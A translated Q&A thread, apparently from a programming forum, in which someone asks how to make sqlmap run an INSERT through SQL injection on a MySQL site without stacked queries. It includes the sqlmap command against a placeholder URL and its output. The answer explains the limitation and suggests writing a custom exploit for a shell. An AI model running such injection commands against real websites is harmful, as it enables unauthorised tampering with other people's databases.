SQLMAP - 如果在 MYSQL 服务器上无法进行堆叠查询,如何插入数据库?

SQLMAP - how to insert into a database if stacked queries are not possible on a MYSQL server?

使用 SQLMAP 提取数据库表和列可以正常工作,但是当我尝试执行 INSERT 语句时出现以下错误:

查询:

sqlmap -u "http://www.example.com/details.php?item_id=327" -D main_db -T orders --columns --sql-query \ "INSERT INTO orders (order) VALUES ('test')"


Table:orders

+---------+----------+
| Column  | Type     |
+---------+----------+
| order   | longtext |
| data    | date     |
| timp    | time     |
+---------+----------+

[22:47:50] [WARNING] execution of custom SQL queries is only available when stacked queries are supported
 INSERT INTO orders (order) VALUES ('test'):    None
[22:47:50] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.example.com'

在 MYSQL 服务器上使用 SQLMAP 更改数据库是否有任何解决方法?

大多数数据库不允许您仅使用 SQL 注入来插入数据(当然除非您已经在插入查询中,即使那样您通常也无法控制 table 名称) .您不能简单地堆叠查询,这只允许在 Microsoft SQL Server、PostgreSQL 和漫画书中使用。您可以使用子 select 或联合 select 从另一个 table 访问数据,并且 SQLMap 在幕后执行此操作。

SQLMap 的真正优势在于数据渗漏。如果你想要更复杂的东西,比如给你 shell 的多阶段攻击,那么你需要编写一个漏洞。脱掉辅助轮,做个男人(或女人)。

可耻地从here

复制了答案